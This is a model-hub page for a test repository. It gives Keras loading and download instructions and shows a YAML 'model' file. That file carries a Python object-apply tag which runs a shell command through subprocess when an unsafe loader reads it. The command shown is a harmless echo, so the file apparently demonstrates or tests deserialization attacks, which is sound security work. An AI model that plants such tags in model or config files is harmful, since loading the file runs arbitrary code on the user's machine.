Instructions to use dltest12345/testmodel with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use dltest12345/testmodel with Keras:
# !pip install -U keras tensorflow huggingface_hub # Keras needs TensorFlow installed to read "hf://" paths, so the tensorflow backend is selected here; # "jax" and "torch" also work for computation once TensorFlow is installed. import os os.environ["KERAS_BACKEND"] = "tensorflow" import keras model = keras.saving.load_model("hf://dltest12345/testmodel") - Notebooks
- Google Colab
- Kaggle
Download model_1003.yaml from dltest12345/testmodel: direct link, hf CLI and curl.
- Browser
- Download file 207 Bytes
-
https://huggingface.co/dltest12345/testmodel/resolve/main/model_1003.yaml
- Command line
-
hf download hf://dltest12345/testmodel/model_1003.yaml
-
curl -L -o model_1003.yaml https://huggingface.co/dltest12345/testmodel/resolve/main/model_1003.yaml
207 Bytes
| model: | |
| name: MaliciousModel | |
| layers: 3 | |
| activation: relu | |
| payload: !!python/object/apply:subprocess.check_output | |
| args: [["echo", "Malicious YAML model executed!"]] | |
| kwds: {shell: false} | |